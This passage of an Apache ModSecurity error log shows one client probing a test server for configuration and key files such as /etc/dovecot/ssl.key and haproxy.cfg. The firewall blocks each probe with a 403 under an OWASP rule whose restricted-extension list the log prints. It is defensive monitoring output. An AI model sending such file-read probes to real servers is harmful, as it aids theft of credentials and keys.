[Sun Mar 01 20:26:10.515263 2026] [:error] [pid 2400023] [client 185.177.72.30:9910] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/audit/auditd.conf&quot;] [unique_id &quot;aaSS0pIifMrob6GYX-HT8QAAAAI&quot;]
[Sun Mar 01 20:26:10.515863 2026] [:error] [pid 2400023] [client 185.177.72.30:9910] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/audit/auditd.conf&quot;] [unique_id &quot;aaSS0pIifMrob6GYX-HT8QAAAAI&quot;]
[Sun Mar 01 20:26:10.516041 2026] [:error] [pid 2400023] [client 185.177.72.30:9910] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/audit/auditd.conf&quot;] [unique_id &quot;aaSS0pIifMrob6GYX-HT8QAAAAI&quot;]
[Sun Mar 01 20:26:10.772430 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/dmarc.conf&quot;] [unique_id &quot;aaSS0i6-W2gySGukkzueogAAAAM&quot;]
[Sun Mar 01 20:26:10.773010 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/dmarc.conf&quot;] [unique_id &quot;aaSS0i6-W2gySGukkzueogAAAAM&quot;]
[Sun Mar 01 20:26:10.773186 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/dmarc.conf&quot;] [unique_id &quot;aaSS0i6-W2gySGukkzueogAAAAM&quot;]
[Sun Mar 01 20:26:10.818840 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/dovecot/conf.d/10-mail.conf&quot;] [unique_id &quot;aaSS0i6-W2gySGukkzuepAAAAAM&quot;]
[Sun Mar 01 20:26:10.819383 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/dovecot/conf.d/10-mail.conf&quot;] [unique_id &quot;aaSS0i6-W2gySGukkzuepAAAAAM&quot;]
[Sun Mar 01 20:26:10.819569 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/dovecot/conf.d/10-mail.conf&quot;] [unique_id &quot;aaSS0i6-W2gySGukkzuepAAAAAM&quot;]
[Sun Mar 01 20:26:10.841856 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/dovecot/dovecot.conf&quot;] [unique_id &quot;aaSS0i6-W2gySGukkzuepQAAAAM&quot;]
[Sun Mar 01 20:26:10.842421 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/dovecot/dovecot.conf&quot;] [unique_id &quot;aaSS0i6-W2gySGukkzuepQAAAAM&quot;]
[Sun Mar 01 20:26:10.842587 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/dovecot/dovecot.conf&quot;] [unique_id &quot;aaSS0i6-W2gySGukkzuepQAAAAM&quot;]
[Sun Mar 01 20:26:10.864671 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/dovecot/ssl.key&quot;] [unique_id &quot;aaSS0i6-W2gySGukkzuepgAAAAM&quot;]
[Sun Mar 01 20:26:10.865169 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/dovecot/ssl.key&quot;] [unique_id &quot;aaSS0i6-W2gySGukkzuepgAAAAM&quot;]
[Sun Mar 01 20:26:10.865318 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/dovecot/ssl.key&quot;] [unique_id &quot;aaSS0i6-W2gySGukkzuepgAAAAM&quot;]
[Sun Mar 01 20:26:10.933581 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/exim4/update-exim4.conf.conf&quot;] [unique_id &quot;aaSS0i6-W2gySGukkzueqQAAAAM&quot;]
[Sun Mar 01 20:26:10.934093 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/exim4/update-exim4.conf.conf&quot;] [unique_id &quot;aaSS0i6-W2gySGukkzueqQAAAAM&quot;]
[Sun Mar 01 20:26:10.934246 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/exim4/update-exim4.conf.conf&quot;] [unique_id &quot;aaSS0i6-W2gySGukkzueqQAAAAM&quot;]
[Sun Mar 01 20:26:10.956364 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.cfg&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/haproxy/haproxy.cfg&quot;] [unique_id &quot;aaSS0i6-W2gySGukkzueqgAAAAM&quot;]
[Sun Mar 01 20:26:10.956897 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/haproxy/haproxy.cfg&quot;] [unique_id &quot;aaSS0i6-W2gySGukkzueqgAAAAM&quot;]
[Sun Mar 01 20:26:10.957067 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/haproxy/haproxy.cfg&quot;] [unique_id &quot;aaSS0i6-W2gySGukkzueqgAAAAM&quot;]
[Sun Mar 01 20:26:11.025173 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/httpd/conf/httpd.conf&quot;] [unique_id &quot;aaSS0y6-W2gySGukkzuerQAAAAM&quot;]
[Sun Mar 01 20:26:11.025668 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/httpd/conf/httpd.conf&quot;] [unique_id &quot;aaSS0y6-W2gySGukkzuerQAAAAM&quot;]
[Sun Mar 01 20:26:11.025824 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/httpd/conf/httpd.conf&quot;] [unique_id &quot;aaSS0y6-W2gySGukkzuerQAAAAM&quot;]
[Sun Mar 01 20:26:11.047764 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/imapd.conf&quot;] [unique_id &quot;aaSS0y6-W2gySGukkzuergAAAAM&quot;]
[Sun Mar 01 20:26:11.048281 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/imapd.conf&quot;] [unique_id &quot;aaSS0y6-W2gySGukkzuergAAAAM&quot;]
[Sun Mar 01 20:26:11.048443 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/imapd.conf&quot;] [unique_id &quot;aaSS0y6-W2gySGukkzuergAAAAM&quot;]
[Sun Mar 01 20:26:11.185663 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag 